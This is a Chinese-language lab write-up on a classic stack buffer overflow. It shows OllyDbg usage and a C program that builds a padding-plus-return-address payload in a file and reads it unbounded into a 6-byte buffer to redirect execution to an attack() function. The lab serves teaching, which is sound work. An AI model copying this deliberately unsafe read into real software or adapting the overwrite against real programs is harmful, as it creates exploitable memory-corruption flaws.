网络安全实验缓冲区栈溢出实验 Ollydbg

网上找的实验都没怎么理解，最后捣鼓出来了
参考博客：https://blog.csdn.net/fightte/article/details/109010953

原理

数据和地址是连续存储的，跳转地址可以被覆盖，当覆盖的内容为特定地址时就会跳转到特定的函数执行攻击

Ollydbg使用

F2 => 断点
F8 => 下一条语句
F9 => 执行到下一个断点
ctrl+F2 => 重新运行

找函数地址

我用的是吾爱的版本，没法直接在注释里面找到函数名
解决方法：在函数中输出语句，然后右键 => 中文搜索引擎 => 搜索ASCII => 找到你输出的语句并双击定位
函数入口都是 55 push ebp ，出口都是ret

代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void attack()
{printf("This is attack.\n");       //attack函数
}
void func()                     //func函数
{char password[6] = "ABCDE";char str[6];FILE *fp;fp=fopen("D:\\test.txt","w+b");char s1=(char)0x00;char s2=(char)0x40;char s3=(char)0x15;char s4=(char)0xD0;//十六进制字符没法在记事本里编写//vscode的hex编辑器里面写可以写，但是文件末尾会多很多字节，没法指定覆盖//直接写字符串也是和vscode一样的问题//最后只好用文件读写完成，不知道有没有更好的办法//这里A的数量需要在Ollydbg里面断点看//最后四位时attack()的地址，需要倒着写(地址里面存放的时候时倒着的)fprintf(fp,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%c%c%c%c",s4,s3,s2,s1);fclose(fp);fp=fopen("D:\\test.txt","r");fscanf(fp,"%s",str);           //将str的内容写入fpstr[5]='\0';if(strcmp(str,password)==0)    //判断str是否与password相同printf("OK.\n");elseprintf("NO.\n");
}
int main()
{func();          //运行func函数return 0;
}

实验内容

(1)进入func()

(2)写入并读取文件

(3)Strcmp缓冲区溢出，覆盖原有命令

(4)Ret时跳转到attack()函数，实行攻击

4.输出攻击结果

网络安全实验缓冲区栈溢出实验 Ollydbg相关推荐

使用Linux进行缓冲区溢出实验的配置记录
在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...
《网络安全协议》课程实验大纲
<网络安全协议>课程实验大纲 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:offi ...
Kali学习笔记21：缓冲区溢出实验（漏洞发现）
上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...
我的网络安全第三次实验汇报
网络安全第三次实验汇报一.SQL 注入(SQL Injection) 演示 SQL 注入简单了解WEB项目 SQL 注入的原理(3个SQL语句) 从代码看 SQL 注入原理何为预处理语句? 为什 ...
Linux实验——缓冲区溢出漏洞实验
Linux实验--缓冲区溢出漏洞实验 20125121 一. 实验描述缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代 ...
计算机系统实验-缓冲区炸弹
计算机系统实验-缓冲区炸弹概述 Trojan1 Trojan2 Trojan3 Trojan4 概述攻击指令:0XDDDBBFFF #include <stdio.h> #includ ...
HCIA(华为体系初级网络安全工程师)eNSP(基础实验二RIP实验)
目录实验要求: 实验内容及步骤: 步骤一:IP地址的划分及IP地址的配置步骤二:配置RIP协议及进行宣告步骤三:配置缺省路由及空接口实验结果: 实验要求: 实验内容及步骤: 步骤一:IP地址 ...
北理计算机网络实验汇编,北理计算机与网络实验(II)(汇编语言实验4).docx
本科实验报告实验名称: 实验四分支和循环实验课程名称: 计算与网络实验(II) 实验时间: 任课教师: 实验地点: 10-102 实验教师: 高平实验类型: ■ 原理验证 □ 综合设计 □ 自 ...
java实验报告2013_java实验报告4
Object eventSource = e.getSource(); if(eventSource == menuItem[0]) //新建动作 { textArea.setText("& ...
实验六——存储过程实验
实验六--存储过程实验一.实验题目二.实验目的三.实验过程 (一)准备数据表 (二)存储过程实验 [存储过程简介] [存储过程优点] 1.创建存储过程 2.查看存储过程 3.修改存储过程 4.删 ...

网络安全实验缓冲区栈溢出实验 Ollydbg

原理

Ollydbg使用

找函数地址

代码

实验内容

网络安全实验缓冲区栈溢出实验 Ollydbg相关推荐

最新文章

热门文章

网络安全实验 缓冲区栈溢出实验 Ollydbg

原理

Ollydbg使用

找函数地址

代码

实验内容

网络安全实验 缓冲区栈溢出实验 Ollydbg相关推荐

最新文章

热门文章

网络安全实验缓冲区栈溢出实验 Ollydbg

网络安全实验缓冲区栈溢出实验 Ollydbg相关推荐